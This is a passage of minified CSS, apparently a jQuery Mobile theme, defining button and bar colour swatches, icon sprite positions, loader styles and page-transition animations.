a.ui-link-inherit{color:#fff}.ui-btn-hover-b{border:1px solid #00415e;background:#4b88b6;font-weight:bold;color:#fff;background-image:-webkit-gradient(linear,left top,left bottom,from( #6facd5 ),to( #4272a4 ));background-image:-webkit-linear-gradient( #6facd5,#4272a4 );background-image:-moz-linear-gradient( #6facd5,#4272a4 );background-image:-ms-linear-gradient( #6facd5,#4272a4 );background-image:-o-linear-gradient( #6facd5,#4272a4 );background-image:linear-gradient( #6facd5,#4272a4 )}.ui-btn-hover-b:visited,.ui-btn-hover-b:hover,.ui-btn-hover-b a.ui-link-inherit{color:#fff}.ui-btn-down-b{border:1px solid #225377;background:#4e89c5;font-weight:bold;color:#fff;background-image:-webkit-gradient(linear,left top,left bottom,from( #295b8e ),to( #3e79b5 ));background-image:-webkit-linear-gradient( #295b8e,#3e79b5 );background-image:-moz-linear-gradient( #295b8e,#3e79b5 );background-image:-ms-linear-gradient( #295b8e,#3e79b5 );background-image:-o-linear-gradient( #295b8e,#3e79b5 );background-image:linear-gradient( #295b8e,#3e79b5 )}.ui-btn-down-b:visited,.ui-btn-down-b:hover,.ui-btn-down-b a.ui-link-inherit{color:#fff}.ui-btn-up-b,.ui-btn-hover-b,.ui-btn-down-b{font-family:Arial,Helvetica,sans-serif;text-decoration:none}.ui-bar-c{border:1px solid #b3b3b3;background:#eee;color:#3e3e3e;font-weight:bold;background-image:-webkit-gradient(linear,left top,left bottom,from( #f0f0f0 ),to( #ddd ));background-image:-webkit-linear-gradient( #f0f0f0,#ddd );background-image:-moz-linear-gradient( #f0f0f0,#ddd );background-image:-ms-linear-gradient( #f0f0f0,#ddd );background-image:-o-linear-gradient( #f0f0f0,#ddd );background-image:linear-gradient( #f0f0f0,#ddd )}.ui-bar-c .ui-link-inherit{color:#3e3e3e}.ui-bar-c a.ui-link{color:#7cc4e7;font-weight:bold}.ui-bar-c a.ui-link:visited{color:#000000}.ui-bar-c a.ui-link:hover{color:#000000}.ui-bar-c a.ui-link:active{color:#000000}.ui-bar-c,.ui-bar-c input,.ui-bar-c select,.ui-bar-c textarea,.ui-bar-c button{font-family:Arial,Helvetica,sans-serif}.ui-body-c,.ui-overlay-c{color:#ffffff;/*border:1px solid #aaa;color:#333;background:#f9f9f9;background-image:-webkit-gradient(linear,left top,left bottom,from( #f9f9f9 ),to( #eee ));background-image:-webkit-linear-gradient( #f9f9f9,#eee );background-image:-moz-linear-gradient( #f9f9f9,#eee );background-image:-ms-linear-gradient( #f9f9f9,#eee );background-image:-o-linear-gradient( #f9f9f9,#eee );background-image:linear-gradient( #f9f9f9,#eee )*/}.ui-overlay-c{background-image:none;border-width:0}.ui-body-c,.ui-body-c input,.ui-body-c select,.ui-body-c textarea,.ui-body-c button{font-family:Arial,Helvetica,sans-serif}.ui-body-c .ui-link-inherit{color:#333}.ui-body-c .ui-link{color:#000000;}.ui-body-c .ui-link:visited{color:#000000}.ui-body-c .ui-link:hover{color:#000000}.ui-body-c .ui-link:active{color:#000000}.ui-btn-up-c{border:1px solid #ccc;background:#eee;font-weight:bold;color:#222;background-image:-webkit-gradient(linear,left top,left bottom,from( #fff ),to( #f1f1f1 ));background-image:-webkit-linear-gradient( #fff,#f1f1f1 );background-image:-moz-linear-gradient( #fff,#f1f1f1 );background-image:-ms-linear-gradient( #fff,#f1f1f1 );background-image:-o-linear-gradient( #fff,#f1f1f1 );background-image:linear-gradient( #fff,#f1f1f1 )}.ui-btn-up-c:visited,.ui-btn-up-c a.ui-link-inherit{color:#2f3e46}.ui-btn-hover-c{border:1px solid #bbb;background:#dfdfdf;font-weight:bold;color:#222;background-image:-webkit-gradient(linear,left top,left bottom,from( #f6f6f6 ),to( #e0e0e0 ));background-image:-webkit-linear-gradient( #f6f6f6,#e0e0e0 );background-image:-moz-linear-gradient( #f6f6f6,#e0e0e0 );background-image:-ms-linear-gradient( #f6f6f6,#e0e0e0 );background-image:-o-linear-gradient( #f6f6f6,#e0e0e0 );background-image:linear-gradient( #f6f6f6,#e0e0e0 )}.ui-btn-hover-c:visited,.ui-btn-hover-c:hover,.ui-btn-hover-c a.ui-link-inherit{color:#2f3e46}.ui-btn-down-c{border:1px solid #bbb;background:#d6d6d6;font-weight:bold;color:#222;background-image:-webkit-gradient(linear,left top,left bottom,from( #d0d0d0 ),to( #dfdfdf ));background-image:-webkit-linear-gradient( #d0d0d0,#dfdfdf );background-image:-moz-linear-gradient( #d0d0d0,#dfdfdf );background-image:-ms-linear-gradient( #d0d0d0,#dfdfdf );background-image:-o-linear-gradient( #d0d0d0,#dfdfdf );background-image:linear-gradient( #d0d0d0,#dfdfdf )}.ui-btn-down-c:visited,.ui-btn-down-c:hover,.ui-btn-down-c a.ui-link-inherit{color:#2f3e46}.ui-btn-up-c,.ui-btn-hover-c,.ui-btn-down-c{font-family:Arial,Helvetica,sans-serif;text-decoration:none}.ui-bar-d{border:1px solid #bbb;background:#bbb;color:#333;font-weight:bold;background-image:-webkit-gradient(linear,left top,left bottom,from( #ddd ),to( #bbb ));background-image:-webkit-linear-gradient( #ddd,#bbb );background-image:-moz-linear-gradient( #ddd,#bbb );background-image:-ms-linear-gradient( #ddd,#bbb );background-image:-o-linear-gradient( #ddd,#bbb );background-image:linear-gradient( #ddd,#bbb )}.ui-bar-d,.ui-bar-d input,.ui-bar-d select,.ui-bar-d textarea,.ui-bar-d button{font-family:Arial,Helvetica,sans-serif}.ui-bar-d .ui-link-inherit{color:#333}.ui-bar-d a.ui-link{color:#000000;font-weight:bold}.ui-bar-d a.ui-link:visited{color:#000000}.ui-bar-d a.ui-link:hover{color:#000000}.ui-bar-d a.ui-link:active{color:#000000}.ui-body-d,.ui-overlay-d{border:1px solid #bbb;color:#333;background:#fff;background-image:-webkit-gradient(linear,left top,left bottom,from( #fff ),to( #fff ));background-image:-webkit-linear-gradient( #fff,#fff );background-image:-moz-linear-gradient( #fff,#fff );background-image:-ms-linear-gradient( #fff,#fff );background-image:-o-linear-gradient( #fff,#fff );background-image:linear-gradient( #fff,#fff )}.ui-overlay-d{background-image:none;border-width:0}.ui-body-d,.ui-body-d input,.ui-body-d select,.ui-body-d textarea,.ui-body-d button{font-family:Arial,Helvetica,sans-serif}.ui-body-d .ui-link-inherit{color:#333}.ui-body-d .ui-link{color:#000000;font-weight:bold}.ui-body-d .ui-link:visited{color:#000000}.ui-body-d .ui-link:hover{color:#000000}.ui-body-d .ui-link:active{color:#000000}.ui-btn-up-d{border:1px solid #bbb;background:#fff;font-weight:bold;color:#333;background-image:-webkit-gradient(linear,left top,left bottom,from( #fafafa ),to( #f6f6f6 ));background-image:-webkit-linear-gradient( #fafafa,#f6f6f6 );background-image:-moz-linear-gradient( #fafafa,#f6f6f6 );background-image:-ms-linear-gradient( #fafafa,#f6f6f6 );background-image:-o-linear-gradient( #fafafa,#f6f6f6 );background-image:linear-gradient( #fafafa,#f6f6f6 )}.ui-btn-up-d:visited,.ui-btn-up-d a.ui-link-inherit{color:#333}.ui-btn-hover-d{border:1px solid #aaa;background:#eee;font-weight:bold;color:#333;cursor:pointer;background-image:-webkit-gradient(linear,left top,left bottom,from( #eee ),to( #fff ));background-image:-webkit-linear-gradient( #eee,#fff );background-image:-moz-linear-gradient( #eee,#fff );background-image:-ms-linear-gradient( #eee,#fff );background-image:-o-linear-gradient( #eee,#fff );background-image:linear-gradient( #eee,#fff )}.ui-btn-hover-d:visited,.ui-btn-hover-d:hover,.ui-btn-hover-d a.ui-link-inherit{color:#333}.ui-btn-down-d{border:1px solid #aaa;background:#eee;font-weight:bold;color:#333;background-image:-webkit-gradient(linear,left top,left bottom,from( #e5e5e5 ),to( #f2f2f2 ));background-image:-webkit-linear-gradient( #e5e5e5,#f2f2f2 );background-image:-moz-linear-gradient( #e5e5e5,#f2f2f2 );background-image:-ms-linear-gradient( #e5e5e5,#f2f2f2 );background-image:-o-linear-gradient( #e5e5e5,#f2f2f2 );background-image:linear-gradient( #e5e5e5,#f2f2f2 )}.ui-btn-down-d:visited,.ui-btn-down-d:hover,.ui-btn-down-d a.ui-link-inherit{color:#333}.ui-btn-up-d,.ui-btn-hover-d,.ui-btn-down-d{font-family:Arial,Helvetica,sans-serif;text-decoration:none}.ui-bar-e{border:1px solid #f7c942;background:#fadb4e;color:#333;font-weight:bold;background-image:-webkit-gradient(linear,left top,left bottom,from( #fceda7 ),to( #fbef7e ));background-image:-webkit-linear-gradient( #fceda7,#fbef7e );background-image:-moz-linear-gradient( #fceda7,#fbef7e );background-image:-ms-linear-gradient( #fceda7,#fbef7e );background-image:-o-linear-gradient( #fceda7,#fbef7e );background-image:linear-gradient( #fceda7,#fbef7e )}.ui-bar-e,.ui-bar-e input,.ui-bar-e select,.ui-bar-e textarea,.ui-bar-e button{font-family:Arial,Helvetica,sans-serif}.ui-bar-e .ui-link-inherit{color:#333}.ui-bar-e a.ui-link{color:#000000;font-weight:bold}.ui-bar-e a.ui-link:visited{color:#000000}.ui-bar-e a.ui-link:hover{color:#000000}.ui-bar-e a.ui-link:active{color:#000000}.ui-body-e,.ui-overlay-e{border:1px solid #f7c942;color:#222;background:#fff9df;background-image:-webkit-gradient(linear,left top,left bottom,from( #fffadf ),to( #fff3a5 ));background-image:-webkit-linear-gradient( #fffadf,#fff3a5 );background-image:-moz-linear-gradient( #fffadf,#fff3a5 );background-image:-ms-linear-gradient( #fffadf,#fff3a5 );background-image:-o-linear-gradient( #fffadf,#fff3a5 );background-image:linear-gradient( #fffadf,#fff3a5 )}.ui-overlay-e{background-image:none;border-width:0}.ui-body-e,.ui-body-e input,.ui-body-e select,.ui-body-e textarea,.ui-body-e button{font-family:Arial,Helvetica,sans-serif}.ui-body-e .ui-link-inherit{color:#222}.ui-body-e .ui-link{color:#000000;font-weight:bold}.ui-body-e .ui-link:visited{color:#000000}.ui-body-e .ui-link:hover{color:#000000}.ui-body-e .ui-link:active{color:#000000}.ui-btn-up-e{border:1px solid #f4c63f;background:#fadb4e;font-weight:bold;color:#222;background-image:-webkit-gradient(linear,left top,left bottom,from( #ffefaa ),to( #ffe155 ));background-image:-webkit-linear-gradient( #ffefaa,#ffe155 );background-image:-moz-linear-gradient( #ffefaa,#ffe155 );background-image:-ms-linear-gradient( #ffefaa,#ffe155 );background-image:-o-linear-gradient( #ffefaa,#ffe155 );background-image:linear-gradient( #ffefaa,#ffe155 )}.ui-btn-up-e:visited,.ui-btn-up-e a.ui-link-inherit{color:#222}.ui-btn-hover-e{border:1px solid #f2c43d;background:#fbe26f;font-weight:bold;color:#111;background-image:-webkit-gradient(linear,left top,left bottom,from( #fff5ba ),to( #fbdd52 ));background-image:-webkit-linear-gradient( #fff5ba,#fbdd52 );background-image:-moz-linear-gradient( #fff5ba,#fbdd52 );background-image:-ms-linear-gradient( #fff5ba,#fbdd52 );background-image:-o-linear-gradient( #fff5ba,#fbdd52 );background-image:linear-gradient( #fff5ba,#fbdd52 )} +.ui-btn-hover-e:visited,.ui-btn-hover-e:hover,.ui-btn-hover-e a.ui-link-inherit{color:#333} +.ui-btn-down-e{border:1px solid #f2c43d;background:#fceda7;font-weight:bold;color:#111;background-image:-webkit-gradient(linear,left top,left bottom,from( #f8d94c ),to( #fadb4e ));background-image:-webkit-linear-gradient( #f8d94c,#fadb4e );background-image:-moz-linear-gradient( #f8d94c,#fadb4e );background-image:-ms-linear-gradient( #f8d94c,#fadb4e );background-image:-o-linear-gradient( #f8d94c,#fadb4e );background-image:linear-gradient( #f8d94c,#fadb4e )} +.ui-btn-down-e:visited,.ui-btn-down-e:hover,.ui-btn-down-e a.ui-link-inherit{color:#333}.ui-btn-up-e,.ui-btn-hover-e,.ui-btn-down-e{font-family:Arial,Helvetica,sans-serif;text-decoration:none}a.ui-link-inherit{text-decoration:none!important}.ui-btn-active:visited,.ui-btn-active:hover,.ui-btn-active a.ui-link-inherit{color:#000000}.ui-btn-inner{border-top:1px solid #fff;border-color:rgba(255,255,255,.3)}.ui-corner-all{-webkit-border-radius:.6em;border-radius:.6em}.ui-br{border-color:rgb(130,130,130);border-color:rgba(130,130,130,.3);border-style:solid}.ui-disabled{filter:Alpha(Opacity=30);opacity:.3;zoom:1}.ui-disabled,.ui-disabled a{cursor:default!important;pointer-events:none}.ui-icon,.ui-icon-searchfield:after{background-color:#666;background-color:rgba(0,0,0,.4);background-image:url(../img/icons-18-white.png);background-repeat:no-repeat;-webkit-border-radius:9px;border-radius:9px}.ui-icon-alt .ui-icon,.ui-icon-alt .ui-icon-searchfield:after{background-color:#fff;background-color:rgba(255,255,255,.3);background-image:url(../img/icons-18-black.png);background-repeat:no-repeat}.ui-icon-nodisc .ui-icon,.ui-icon-nodisc .ui-icon-searchfield:after,.ui-icon-nodisc .ui-icon-alt .ui-icon,.ui-icon-nodisc .ui-icon-alt .ui-icon-searchfield:after{background-color:transparent}.ui-icon-plus{background-position:-1px -1px}.ui-icon-minus{background-position:-37px -1px}.ui-icon-delete{background-position:-73px -1px}.ui-icon-arrow-r{background-position:-108px -1px}.ui-icon-arrow-l{background-position:-144px -1px}.ui-icon-arrow-u{background-position:-180px -1px}.ui-icon-arrow-d{background-position:-216px -1px}.ui-icon-check{background-position:-252px -1px}.ui-icon-gear{background-position:-288px -1px}.ui-icon-refresh{background-position:-323px -1px}.ui-icon-forward{background-position:-360px -1px}.ui-icon-back{background-position:-396px -1px}.ui-icon-grid{background-position:-432px -1px}.ui-icon-star{background-position:-467px -1px}.ui-icon-alert{background-position:-503px -1px}.ui-icon-info{background-position:-539px -1px}.ui-icon-home{background-position:-575px -1px}.ui-icon-search,.ui-icon-searchfield:after{background-position:-611px -1px}.ui-icon-checkbox-on{background-position:-647px -1px}.ui-icon-checkbox-off{background-position:-683px -1px}.ui-icon-radio-on{background-position:-718px -1px}.ui-icon-radio-off{background-position:-754px -1px}.ui-icon-bars{background-position:-788px -1px}.ui-icon-edit{background-position:-824px -1px}@media only screen and (-webkit-min-device-pixel-ratio:1.3),only screen and (min--moz-device-pixel-ratio:1.3),only screen and (min-resolution:200dpi){.ui-icon-plus,.ui-icon-minus,.ui-icon-delete,.ui-icon-arrow-r,.ui-icon-arrow-l,.ui-icon-arrow-u,.ui-icon-arrow-d,.ui-icon-check,.ui-icon-gear,.ui-icon-refresh,.ui-icon-forward,.ui-icon-back,.ui-icon-grid,.ui-icon-star,.ui-icon-alert,.ui-icon-info,.ui-icon-home,.ui-icon-bars,.ui-icon-edit,.ui-icon-search,.ui-icon-searchfield:after,.ui-icon-checkbox-off,.ui-icon-checkbox-on,.ui-icon-radio-off,.ui-icon-radio-on{background-image:url(../img/icons-36-white.png);-moz-background-size:864px 18px;-o-background-size:864px 18px;-webkit-background-size:864px 18px;background-size:864px 18px}.ui-icon-alt .ui-icon{background-image:url(../img/icons-36-black.png)}.ui-icon-plus{background-position:0 50%}.ui-icon-minus{background-position:-36px 50%}.ui-icon-delete{background-position:-72px 50%}.ui-icon-arrow-r{background-position:-108px 50%}.ui-icon-arrow-l{background-position:-144px 50%}.ui-icon-arrow-u{background-position:-179px 50%}.ui-icon-arrow-d{background-position:-215px 50%}.ui-icon-check{background-position:-252px 50%}.ui-icon-gear{background-position:-287px 50%}.ui-icon-refresh{background-position:-323px 50%}.ui-icon-forward{background-position:-360px 50%}.ui-icon-back{background-position:-395px 50%}.ui-icon-grid{background-position:-431px 50%}.ui-icon-star{background-position:-467px 50%}.ui-icon-alert{background-position:-503px 50%}.ui-icon-info{background-position:-538px 50%}.ui-icon-home{background-position:-575px 50%}.ui-icon-search,.ui-icon-searchfield:after{background-position:-611px 50%}.ui-icon-checkbox-on{background-position:-647px 50%}.ui-icon-checkbox-off{background-position:-683px 50%}.ui-icon-radio-on{background-position:-718px 50%}.ui-icon-radio-off{background-position:-754px 50%}.ui-icon-bars{background-position:-788px 50%}.ui-icon-edit{background-position:-824px 50%}}.ui-checkbox .ui-icon,.ui-selectmenu-list .ui-icon{-webkit-border-radius:3px;border-radius:3px}.ui-icon-checkbox-off,.ui-icon-radio-off{background-color:transparent}.ui-checkbox-on .ui-icon,.ui-radio-on .ui-icon{background-color:#4596ce}.ui-icon-loading{background:url(../img/ajax-loader.gif);background-size:46px 46px}.ui-btn-corner-all{-webkit-border-radius:1em;border-radius:1em}.ui-corner-all,.ui-btn-corner-all{-webkit-background-clip:padding;background-clip:padding-box}.ui-overlay{background:#666;filter:Alpha(Opacity=50);opacity:.5;position:absolute;width:100%;height:100%}.ui-overlay-shadow{-moz-box-shadow:0 0 12px rgba(0,0,0,.6);-webkit-box-shadow:0 0 12px rgba(0,0,0,.6);box-shadow:0 0 12px rgba(0,0,0,.6)}.ui-shadow{-moz-box-shadow:0 1px 3px rgba(0,0,0,.2);-webkit-box-shadow:0 1px 3px rgba(0,0,0,.2);box-shadow:0 1px 3px rgba(0,0,0,.2)}.ui-bar-a .ui-shadow,.ui-bar-b .ui-shadow,.ui-bar-c .ui-shadow{-moz-box-shadow:0 1px 0 rgba(255,255,255,.3);-webkit-box-shadow:0 1px 0 rgba(255,255,255,.3);box-shadow:0 1px 0 rgba(255,255,255,.3)}.ui-shadow-inset{-moz-box-shadow:inset 0 1px 4px rgba(0,0,0,.2);-webkit-box-shadow:inset 0 1px 4px rgba(0,0,0,.2);box-shadow:inset 0 1px 4px rgba(0,0,0,.2)}.ui-icon-shadow{-moz-box-shadow:0 1px 0 rgba(255,255,255,.4);-webkit-box-shadow:0 1px 0 rgba(255,255,255,.4);box-shadow:0 1px 0 rgba(255,255,255,.4)}.ui-btn:focus,.ui-link-inherit:focus{outline:0}.ui-btn.ui-focus{z-index:1}.ui-focus,.ui-btn:focus{-moz-box-shadow:inset 0 0 3px #387bbe,0px 0 9px #387bbe;-webkit-box-shadow:inset 0 0 3px #387bbe,0px 0 9px #387bbe;box-shadow:inset 0 0 3px #387bbe,0px 0 9px #387bbe}.ui-input-text.ui-focus,.ui-input-search.ui-focus{-moz-box-shadow:0 0 12px #387bbe;-webkit-box-shadow:0 0 12px #387bbe;box-shadow:0 0 12px #387bbe}.ui-mobile-nosupport-boxshadow *{-moz-box-shadow:none!important;-webkit-box-shadow:none!important;box-shadow:none!important}.ui-mobile-nosupport-boxshadow .ui-focus,.ui-mobile-nosupport-boxshadow .ui-btn:focus,.ui-mobile-nosupport-boxshadow .ui-link-inherit:focus{outline-width:1px;outline-style:auto}.ui-mobile,.ui-mobile body{height:99.9%}.ui-mobile fieldset,.ui-page{padding:0;margin:0}.ui-mobile a img,.ui-mobile fieldset{border-width:0}.ui-mobile-viewport{margin:0;overflow-x:visible;-webkit-text-size-adjust:100%;-ms-text-size-adjust:none;-webkit-tap-highlight-color:rgba(0,0,0,0)}body.ui-mobile-viewport,div.ui-mobile-viewport{overflow-x:hidden}.ui-mobile [data-role=page],.ui-mobile [data-role=dialog],.ui-page{top:0;left:0;width:100%;min-height:100%;position:absolute;display:none;border:0}.ui-mobile .ui-page-active{display:block;overflow:visible}.ui-page{outline:none}@media screen and (orientation:portrait){.ui-mobile,.ui-mobile .ui-page{min-height:420px}}@media screen and (orientation:landscape){.ui-mobile,.ui-mobile .ui-page{min-height:300px}}.ui-loading .ui-loader{display:block}.ui-loader{display:none;z-index:9999999;position:fixed;top:50%;left:50%;border:0}.ui-loader-default{background:none;filter:Alpha(Opacity=18);opacity:.18;width:46px;height:46px;margin-left:-23px;margin-top:-23px}.ui-loader-verbose{width:200px;filter:Alpha(Opacity=88);opacity:.88;box-shadow:0 1px 1px -1px #fff;height:auto;margin-left:-110px;margin-top:-43px;padding:10px}.ui-loader-default h1{font-size:0;width:0;height:0;overflow:hidden}.ui-loader-verbose h1{font-size:16px;margin:0;text-align:center}.ui-loader .ui-icon{background-color:#000;display:block;margin:0;width:44px;height:44px;padding:1px;-webkit-border-radius:36px;border-radius:36px}.ui-loader-verbose .ui-icon{margin:0 auto 10px;filter:Alpha(Opacity=75);opacity:.75}.ui-loader-textonly{padding:15px;margin-left:-115px}.ui-loader-textonly .ui-icon{display:none}.ui-loader-fakefix{position:absolute}.ui-mobile-rendering > *{visibility:hidden}.ui-bar,.ui-body{position:relative;padding:.4em 15px;overflow:hidden;display:block;clear:both}.ui-bar{font-size:16px;margin:0}.ui-bar h1,.ui-bar h2,.ui-bar h3,.ui-bar h4,.ui-bar h5,.ui-bar h6{margin:0;padding:0;font-size:16px;display:inline-block}.ui-header,.ui-footer{position:relative;zoom:1}.ui-mobile .ui-header,.ui-mobile .ui-footer{border-left-width:0;border-right-width:0}.ui-header .ui-btn-left,.ui-header .ui-btn-right,.ui-footer .ui-btn-left,.ui-footer .ui-btn-right,.ui-header-fixed.ui-fixed-hidden .ui-btn-left,.ui-header-fixed.ui-fixed-hidden .ui-btn-right{position:absolute;top:3px}.ui-header-fixed .ui-btn-left,.ui-header-fixed .ui-btn-right{top:4px}.ui-header .ui-btn-left,.ui-footer .ui-btn-left{left:5px}.ui-header .ui-btn-right,.ui-footer .ui-btn-right{right:5px}.ui-footer > .ui-btn-icon-notext,.ui-header > .ui-btn-icon-notext,.ui-header-fixed.ui-fixed-hidden > .ui-btn-icon-notext{top:6px}.ui-header-fixed > .ui-btn-icon-notext{top:7px}.ui-header .ui-title,.ui-footer .ui-title{min-height:1.1em;text-align:center;font-size:16px;display:block;margin:.6em 30% .8em;padding:0;text-overflow:ellipsis;overflow:hidden;white-space:nowrap;outline:0!important}.ui-footer .ui-title{margin:.6em 15px .8em}.ui-content{border-width:0;overflow:visible;overflow-x:hidden;padding:15px}.ui-corner-all > .ui-header:first-child,.ui-corner-all > .ui-content:first-child,.ui-corner-all > .ui-footer:first-child{-webkit-border-top-left-radius:inherit;border-top-left-radius:inherit;-webkit-border-top-right-radius:inherit;border-top-right-radius:inherit}.ui-corner-all > .ui-header:last-child,.ui-corner-all > .ui-content:last-child,.ui-corner-all > .ui-footer:last-child{-webkit-border-bottom-left-radius:inherit;border-bottom-left-radius:inherit;-webkit-border-bottom-right-radius:inherit;border-bottom-right-radius:inherit}.ui-icon{width:18px;height:18px}.ui-nojs{position:absolute;left:-9999px}.ui-hide-label label.ui-input-text,.ui-hide-label label.ui-select,.ui-hide-label label.ui-slider,.ui-hide-label label.ui-submit,.ui-hide-label .ui-controlgroup-label,.ui-hidden-accessible{position:absolute!important;left:-9999px;clip:rect(1px);clip:rect(1px,1px,1px,1px)}.ui-mobile-viewport-transitioning,.ui-mobile-viewport-transitioning .ui-page{width:100%;height:100%;overflow:hidden;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.ui-page-pre-in{opacity:0}.in{-webkit-animation-fill-mode:both;-webkit-animation-timing-function:ease-out;-webkit-animation-duration:350ms;-moz-animation-fill-mode:both;-moz-animation-timing-function:ease-out;-moz-animation-duration:350ms;animation-fill-mode:both;animation-timing-function:ease-out;animation-duration:350ms}.out{-webkit-animation-fill-mode:both;-webkit-animation-timing-function:ease-in;-webkit-animation-duration:225ms;-moz-animation-fill-mode:both;-moz-animation-timing-function:ease-in;-moz-animation-duration:225ms;animation-fill-mode:both;animation-timing-function:ease-in;animation-duration:225ms}@-webkit-keyframes fadein{from{opacity:0}to{opacity:1}}@-moz-keyframes fadein{from{opacity:0}to{opacity:1}}@keyframes fadein{from{opacity:0}to{opacity:1}}@-webkit-keyframes fadeout{from{opacity:1}to{opacity:0}}@-moz-keyframes fadeout{from{opacity:1}to{opacity:0}}@keyframes fadeout{from{opacity:1}to{opacity:0}}.fade.out{opacity:0;-webkit-animation-duration:125ms;-webkit-animation-name:fadeout;-moz-animation-duration:125ms;-moz-animation-name:fadeout;animation-duration:125ms;animation-name:fadeout}.fade.in{opacity:1;-webkit-animation-duration:225ms;-webkit-animation-name:fadein;-moz-animation-duration:225ms;-moz-animation-name:fadein;animation-duration:225ms;animation-name:fadein}.pop{-webkit-transform-origin:50% 50%;-moz-transform-origin:50% 50%;transform-origin:50% 50%}.pop.in{-webkit-transform:scale(1);-webkit-animation-name:popin;-webkit-animation-duration:350ms;-moz-transform:scale(1);-moz-animation-name:popin;-moz-animation-duration:350ms;transform:scale(1);animation-name:popin;animation-duration:350ms;opacity:1}.pop.out{-webkit-animation-name:fadeout;-webkit-animation-duration:100ms;-moz-animation-name:fadeout;-moz-animation-duration:100ms;animation-name:fadeout;animation-duration:100ms;opacity:0}.pop.in.reverse{-webkit-animation-name:fadein;-moz-animation-name:fadein;animation-name:fadein}.pop.out.reverse{-webkit-transform:scale(.8);-webkit-animation-name:popout;-moz-transform:scale(.8);-moz-animation-name:popout;transform:scale(.8);animation-name:popout}@-webkit-keyframes popin{from{-webkit-transform:scale(.8);opacity:0}to{-webkit-transform:scale(1);opacity:1}}@-moz-keyframes popin{from{-moz-transform:scale(.8);opacity:0}to{-moz-transform:scale(1);opacity:1}}@keyframes popin{from{transform:scale(.8);opacity:0}to{transform:scale(1);opacity:1}}@-webkit-keyframes popout{from{-webkit-transform:scale(1);opacity:1}to{-webkit-transform:scale(.8);opacity:0}}@-moz-keyframes popout{from{-moz-transform:scale(1);opacity:1}to{-moz-transform:scale(.8);opacity:0}}@keyframes popout{from{transform:scale(1);opacity:1}to{transform:scale(.8);opacity:0}}@-webkit-keyframes slideinfromright{from{-webkit-transform:translateX(100%)}to{-webkit-transform:translateX(0)}}@-moz-keyframes slideinfromright{from{-moz-transform:translateX(100%)}to{-moz-transform:translateX(0)}}@keyframes slideinfromright{from{transform:translateX(100%)}to{transform:translateX(0)}}@-webkit-keyframes slideinfromleft{from{-webkit-transform:translateX(-100%)}to{-webkit-transform:translateX(0)}}@-moz-keyframes slideinfromleft{from{-moz-transform:translateX(-100%)}to{-moz-transform:translateX(0)}}@keyframes slideinfromleft{from{transform:translateX(-100%)}to{transform:translateX(0)}}@-webkit-keyframes slideouttoleft{from{-webkit-transform:translateX(0)}to{-webkit-transform:translateX(-100%)}}@-moz-keyframes slideouttoleft{from{-moz-transform:translateX(0)}to{-moz-transform:translateX(-100%)}}@keyframes slideouttoleft{from{transform:translateX(0)}to{transform:translateX(-100%)}}@-webkit-keyframes slideouttoright{from{-webkit-transform:translateX(0)}to{-webkit-transform:translateX(100%)}}@-moz-keyframes slideouttoright{from{-moz-transform:translateX(0)}to{-moz-transform:translateX(100%)}}@keyframes slideouttoright{from{transform:translateX(0)}to{transform:translateX(100%)}}.slide.out,.slide.in{-webkit-animation-timing-function:ease-out;-webkit-animation-duration:350ms;-moz-animation-timing-function:ease-out;-moz-animation-duration:350ms;animation-timing-function:ease-out;animation-duration:350ms}.slide.out{-webkit-transform:translateX(-100%);-webkit-animation-name:slideouttoleft;-moz-transform:translateX(-100%);-moz-animation-name:slideouttoleft;transform:translateX(-100%);animation-name:slideouttoleft}.slide.in{-webkit-transform:translateX(0);-webkit-animation-name:slideinfromright;-moz-transform:translateX(0);-moz-animation-name:slideinfromright;transform:translateX(0);animation-name:slideinfromright}.slide.out.reverse{-webkit-transform:translateX(100%);-webkit-animation-name:slideouttoright;-moz-transform:translateX(100%);-moz-animation-name:slideouttoright;transform:translateX(100%);animation-name:slideouttoright}.slide.in.reverse{-webkit-transform:translateX(0);-webkit-animation-name:slideinfromleft;-moz-transform:translateX(0);-moz-animation-name:slideinfromleft;transform:translateX(0);animation-name:slideinfromleft}.slidefade.out{-webkit-transform:translateX(-100%);-webkit-animation-name:slideouttoleft;-webkit-animation-duration:225ms;-moz-transform:translateX(-100%);-moz-animation-name:slideouttoleft;-moz-animation-duration:225ms;transform:translateX(-100%);animation-name:slideouttoleft;animation-duration:225ms}.slidefade.in{-webkit-transform:translateX(0);-webkit-animation-name:fadein;-webkit-animation-duration:200ms;-moz-transform:translateX(0);-moz-animation-name:fadein;-moz-animation-duration:200ms;transform:translateX(0);animation-name:fadein;animation-duration:200ms}.slidefade.out.reverse{-webkit-transform:translateX(100%);-webkit-animation-name:slideouttoright;-webkit-animation-duration:200ms;-moz-transform:translateX(100%);-moz-animation-name:slideouttoright;-moz-animation-duration:200ms;transform:translateX(100%);animation-name:slideouttoright;animation-duration:200ms}.slidefade.in.reverse{-webkit-transform:translateX(0);-webkit-animation-name:fadein;-webkit-animation-duration:200ms;-moz-transform:translateX(0);-moz-animation-name:fadein;-moz-animation-duration:200ms;transform:translateX(0);animation-name:fadein;animation-duration:200ms}.slidedown.out{-webkit-animation-name:fadeout;-webkit-animation-duration:100ms;-moz-animation-name:fadeout;-moz-animation-duration:100ms;animation-name:fadeout;animation-duration:100ms}.slidedown.in{-webkit-transform:translateY(0);-webkit-animation-name:slideinfromtop;-webkit-animation-duration:250ms;-moz-transform:translateY(0);-moz-animation-name:slideinfromtop;-moz-animation-duration:250ms;transform:translateY(0);animation-name:slideinfromtop;animation-duration:250ms}.slidedown.in.reverse{-webkit-animation-name:fadein;-webkit-animation-duration:150ms;-moz-animation-name:fadein;-moz-animation-duration:150ms;animation-name:fadein;animation-duration:150ms}.slidedown.out.reverse{-webkit-transform:translateY(-100%);-webkit-animation-name:slideouttotop;-webkit-animation-duration:200ms;-moz-transform:translateY(-100%);-moz-animation-name:slideouttotop;-moz-animation-duration:200ms;transform:translateY(-100%);animation-name:slideouttotop;animation-duration:200ms}@-webkit-keyframes slideinfromtop{from{-webkit-transform:translateY(-100%)}to{-webkit-transform:translateY(0)}}@-moz-keyframes slideinfromtop{from{-moz-transform:translateY(-100%)}to{-moz-transform:translateY(0)}}@keyframes slideinfromtop{from{transform:translateY(-100%)}to{transform:translateY(0)}}@-webkit-keyframes slideouttotop{from{-webkit-transform:translateY(0)}to{-webkit-transform:translateY(-100%)}}@-moz-keyframes slideouttotop{from{-moz-transform:translateY(0)}to{-moz-transform:translateY(-100%)}}@keyframes 